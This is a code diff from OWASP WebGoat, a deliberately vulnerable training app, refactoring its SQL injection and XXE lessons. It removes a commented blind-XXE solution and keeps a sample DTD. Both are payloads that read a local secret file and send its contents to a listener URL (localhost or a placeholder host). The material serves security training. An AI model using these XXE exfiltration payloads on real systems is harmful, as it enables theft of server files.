List<Diagnostic> hasCompiled = this.compileFromString(editor);
@ -79,7 +79,7 @@ public class SqlInjectionLesson10b extends AssignmentEndpoint {
} else {
return trackProgress(failed().feedback("sql-injection.10b.failed").build());
}
} catch(Exception e) {
} catch (Exception e) {
return trackProgress(failed().output(e.getMessage()).build());
}
}
@ -87,7 +87,7 @@ public class SqlInjectionLesson10b extends AssignmentEndpoint {
private List<Diagnostic> compileFromString(String s) {
JavaCompiler compiler = ToolProvider.getSystemJavaCompiler();
DiagnosticCollector diagnosticsCollector = new DiagnosticCollector();
StandardJavaFileManager fileManager = compiler.getStandardFileManager(diagnosticsCollector, null, null);
StandardJavaFileManager fileManager = compiler.getStandardFileManager(diagnosticsCollector, null, null);
JavaFileObject javaObjectFromString = getJavaFileContentsAsString(s);
Iterable fileObjects = Arrays.asList(javaObjectFromString);
JavaCompiler.CompilationTask task = compiler.getTask(null, fileManager, diagnosticsCollector, null, null, fileObjects);
@ -96,12 +96,12 @@ public class SqlInjectionLesson10b extends AssignmentEndpoint {
return diagnostics;
}
private SimpleJavaFileObject getJavaFileContentsAsString(String s){
private SimpleJavaFileObject getJavaFileContentsAsString(String s) {
StringBuilder javaFileContents = new StringBuilder("import java.sql.*; public class TestClass { static String DBUSER; static String DBPW; static String DBURL; public static void main(String[] args) {" + s + "}}");
JavaObjectFromString javaFileObject = null;
try{
try {
javaFileObject = new JavaObjectFromString("TestClass.java", javaFileContents.toString());
}catch(Exception exception){
} catch (Exception exception) {
exception.printStackTrace();
}
return javaFileObject;
@ -109,10 +109,12 @@ public class SqlInjectionLesson10b extends AssignmentEndpoint {
class JavaObjectFromString extends SimpleJavaFileObject {
private String contents = null;
public JavaObjectFromString(String className, String contents) throws Exception{
public JavaObjectFromString(String className, String contents) throws Exception {
super(new URI(className), Kind.SOURCE);
this.contents = contents;
}
public CharSequence getCharContent(boolean ignoreEncodingErrors) throws IOException {
return contents;
}
@ -121,7 +123,7 @@ public class SqlInjectionLesson10b extends AssignmentEndpoint {
private boolean check_text(String regex, String text) {
Pattern p = Pattern.compile(regex, Pattern.CASE_INSENSITIVE);
Matcher m = p.matcher(text);
if(m.find())
if (m.find())
return true;
else return false;
}

View File

@ -36,6 +36,7 @@ import javax.sql.DataSource;
import java.sql.Connection;
import java.sql.PreparedStatement;
import java.sql.ResultSet;
import java.sql.SQLException;
@RestController
@AssignmentHints(value = {"SqlStringInjectionHint-mitigation-12a-1", "SqlStringInjectionHint-mitigation-12a-2", "SqlStringInjectionHint-mitigation-12a-3", "SqlStringInjectionHint-mitigation-12a-4"})
@ -50,10 +51,9 @@ public class SqlInjectionLesson12a extends AssignmentEndpoint {
@PostMapping("/SqlInjectionMitigations/attack12a")
@ResponseBody
@SneakyThrows
public AttackResult completed(@RequestParam String ip) {
try (Connection connection = dataSource.getConnection()) {
PreparedStatement preparedStatement = connection.prepareStatement("select ip from servers where ip = ? and hostname = ?");
try (Connection connection = dataSource.getConnection();
PreparedStatement preparedStatement = connection.prepareStatement("select ip from servers where ip = ? and hostname = ?")) {
preparedStatement.setString(1, ip);
preparedStatement.setString(2, "webgoat-prd");
ResultSet resultSet = preparedStatement.executeQuery();
@ -61,6 +61,9 @@ public class SqlInjectionLesson12a extends AssignmentEndpoint {
return trackProgress(success().build());
}
return trackProgress(failed().build());
} catch (SQLException e) {
log.error("Failed", e);
return trackProgress(failed().build());
}
}
}

View File

@ -1,19 +1,22 @@
package org.owasp.webgoat.xxe;
import com.google.common.base.Charsets;
import com.google.common.io.Files;
import lombok.SneakyThrows;
import lombok.extern.slf4j.Slf4j;
import org.owasp.webgoat.assignments.AssignmentEndpoint;
import org.owasp.webgoat.assignments.AssignmentHints;
import org.owasp.webgoat.assignments.AssignmentPath;
import org.owasp.webgoat.assignments.AttackResult;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.beans.factory.annotation.Value;
import org.springframework.http.MediaType;
import org.springframework.web.bind.annotation.*;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.ResponseBody;
import org.springframework.web.bind.annotation.RestController;
import javax.annotation.PostConstruct;
import java.io.File;
import java.io.IOException;
import java.nio.charset.StandardCharsets;
import java.nio.file.Files;
import static org.apache.commons.lang3.RandomStringUtils.randomAlphabetic;
@ -46,8 +49,9 @@ import static org.apache.commons.lang3.RandomStringUtils.randomAlphabetic;
* @version $Id: $Id
* @since November 18, 2016
*/
@Slf4j
@RestController
@AssignmentHints({"xxe.blind.hints.1","xxe.blind.hints.2","xxe.blind.hints.3","xxe.blind.hints.4","xxe.blind.hints.5"})
@AssignmentHints({"xxe.blind.hints.1", "xxe.blind.hints.2", "xxe.blind.hints.3", "xxe.blind.hints.4", "xxe.blind.hints.5"})
public class BlindSendFileAssignment extends AssignmentEndpoint {
static final String CONTENTS = "WebGoat 8.0 rocks... (" + randomAlphabetic(10) + ")";
@ -57,13 +61,16 @@ public class BlindSendFileAssignment extends AssignmentEndpoint {
private Comments comments;
@PostConstruct
@SneakyThrows
public void createSecretFileWithRandomContents() {
File targetDirectory = new File(webGoatHomeDirectory, "/XXE");
if (!targetDirectory.exists()) {
targetDirectory.mkdir();
}
Files.write(CONTENTS, new File(targetDirectory, "secret.txt"), Charsets.UTF_8);
try {
Files.writeString(new File(targetDirectory, "secret.txt").toPath(), CONTENTS, StandardCharsets.UTF_8);
} catch (IOException e) {
log.error("Unable to write 'secret.txt' to '{}", targetDirectory);
}
}
@PostMapping(path = "xxe/blind", consumes = MediaType.ALL_VALUE, produces = MediaType.APPLICATION_JSON_VALUE)
@ -82,46 +89,4 @@ public class BlindSendFileAssignment extends AssignmentEndpoint {
}
return trackProgress(failed().build());
}
/**
<?xml version="1.0"?>
<!DOCTYPE comment [
<!ENTITY % remote SYSTEM "http://localhost:9090/files/admin2/attack.dtd">
%remote;
]>
<comment> <text>test&send;</text></comment>
**/
/**
* Solution:
*
* Create DTD:
*
* <pre>
* <?xml version="1.0" encoding="UTF-8"?>
* <!ENTITY % file SYSTEM "file:///c:/windows-version.txt">
* <!ENTITY % all "<!ENTITY send SYSTEM 'http://localhost:9090/ping?text=%file;'>">
* %all;
* </pre>
*
* This will be reduced to:
*
* <pre>
* <!ENTITY send SYSTEM 'http://localhost:9090/ping?text=[contents_file]'>
* </pre>
*
* Wire it all up in the xml send to the server:
*
* <pre>
* <?xml version="1.0"?>
* <!DOCTYPE root [
* <!ENTITY % remote SYSTEM "http://localhost:9090/WebWolf/files/test.dtd">
* %remote;
* ]>
* <user>
* <username>test&send;</username>
* </user>
*
* </pre>
*
*/
}

View File

@ -24,8 +24,6 @@ package org.owasp.webgoat.xxe;
import com.beust.jcommander.internal.Lists;
import com.fasterxml.jackson.databind.ObjectMapper;
import com.google.common.collect.EvictingQueue;
import com.google.common.collect.Maps;
import org.joda.time.DateTime;
import org.joda.time.format.DateTimeFormat;
import org.joda.time.format.DateTimeFormatter;
@ -40,10 +38,7 @@ import javax.xml.stream.XMLInputFactory;
import javax.xml.stream.XMLStreamReader;
import java.io.IOException;
import java.io.StringReader;
import java.util.Collection;
import java.util.Comparator;
import java.util.Map;
import java.util.Optional;
import java.util.*;
import java.util.stream.Collectors;
import static java.util.Optional.empty;
@ -62,8 +57,8 @@ public class Comments {
protected static DateTimeFormatter fmt = DateTimeFormat.forPattern("yyyy-MM-dd, HH:mm:ss");
private static final Map<String, EvictingQueue<Comment>> userComments = Maps.newHashMap();
private static final EvictingQueue<Comment> comments = EvictingQueue.create(100);
private static final Map<String, List<Comment>> userComments = new HashMap<>();
private static final List<Comment> comments = new ArrayList<>();
static {
comments.add(new Comment("webgoat", DateTime.now().toString(fmt), "Silly cat...."));
@ -110,7 +105,7 @@ public class Comments {
if (visibleForAllUsers) {
comments.add(comment);
} else {
EvictingQueue<Comment> comments = userComments.getOrDefault(webSession.getUserName(), EvictingQueue.create(100));
List<Comment> comments = userComments.getOrDefault(webSession.getUserName(), new ArrayList<>());
comments.add(comment);
userComments.put(webSession.getUserName(), comments);
}

View File

@ -38,8 +38,8 @@ import static org.springframework.http.MediaType.APPLICATION_JSON_VALUE;
@AssignmentHints({"xxe.hints.content.type.xxe.1", "xxe.hints.content.type.xxe.2"})
public class ContentTypeAssignment extends AssignmentEndpoint {
private final static String[] DEFAULT_LINUX_DIRECTORIES = {"usr", "etc", "var"};
private final static String[] DEFAULT_WINDOWS_DIRECTORIES = {"Windows", "Program Files (x86)", "Program Files"};
private static final String[] DEFAULT_LINUX_DIRECTORIES = {"usr", "etc", "var"};
private static final String[] DEFAULT_WINDOWS_DIRECTORIES = {"Windows", "Program Files (x86)", "Program Files"};
@Value("${webgoat.server.directory}")
private String webGoatHomeDirectory;

View File

@ -33,18 +33,13 @@ import java.io.FileNotFoundException;
import java.io.PrintWriter;
@Slf4j
public class Ping {
public class Ping {
@Value("${webgoat.user.directory}")
private String webGoatHomeDirectory;
@Autowired
private WebSession webSession;
// @Override
// public String getPath() {
// return "XXE/ping";
// }
@RequestMapping(method = RequestMethod.GET)
@ResponseBody
public String logRequest(@RequestHeader("User-Agent") String userAgent, @RequestParam(required = false) String text) {

View File

@ -48,16 +48,16 @@ import static org.springframework.http.MediaType.APPLICATION_JSON_VALUE;
@AssignmentHints({"xxe.hints.simple.xxe.1", "xxe.hints.simple.xxe.2", "xxe.hints.simple.xxe.3", "xxe.hints.simple.xxe.4", "xxe.hints.simple.xxe.5", "xxe.hints.simple.xxe.6"})
public class SimpleXXE extends AssignmentEndpoint {
private final static String[] DEFAULT_LINUX_DIRECTORIES = {"usr", "etc", "var"};
private final static String[] DEFAULT_WINDOWS_DIRECTORIES = {"Windows", "Program Files (x86)", "Program Files"};
private static final String[] DEFAULT_LINUX_DIRECTORIES = {"usr", "etc", "var"};
private static final String[] DEFAULT_WINDOWS_DIRECTORIES = {"Windows", "Program Files (x86)", "Program Files"};
@Value("${webgoat.server.directory}")
private String webGoatHomeDirectory;
@Value("${webwolf.url.landingpage}")
private String webWolfURL;
@Autowired
private Comments comments;
@ -85,20 +85,20 @@ public class SimpleXXE extends AssignmentEndpoint {
}
return success;
}
@RequestMapping(path="/xxe/tmpdir",consumes = ALL_VALUE, produces=MediaType.TEXT_PLAIN_VALUE)
@RequestMapping(path = "/xxe/tmpdir", consumes = ALL_VALUE, produces = MediaType.TEXT_PLAIN_VALUE)
@ResponseBody
public String getWebGoatHomeDirectory() {
return webGoatHomeDirectory;
return webGoatHomeDirectory;
}
@RequestMapping(path="/xxe/sampledtd",consumes = ALL_VALUE, produces=MediaType.TEXT_PLAIN_VALUE)
@RequestMapping(path = "/xxe/sampledtd", consumes = ALL_VALUE, produces = MediaType.TEXT_PLAIN_VALUE)
@ResponseBody
public String getSampleDTDFile() {
return "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n" +
"<!ENTITY % file SYSTEM \"file:replace-this-by-webgoat-temp-directory/XXE/secret.txt\">\n" +
"<!ENTITY % all \"<!ENTITY send SYSTEM 'http://replace-this-by-webwolf-base-url/landing?text=%file;'>\">\n" +
"%all;";
return "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n"
+ "<!ENTITY % file SYSTEM \"file:replace-this-by-webgoat-temp-directory/XXE/secret.txt\">\n"
+ "<!ENTITY % all \"<!ENTITY send SYSTEM 'http://replace-this-by-webwolf-base-url/landing?text=%file;'>\">\n"
+ "%all;";
}
}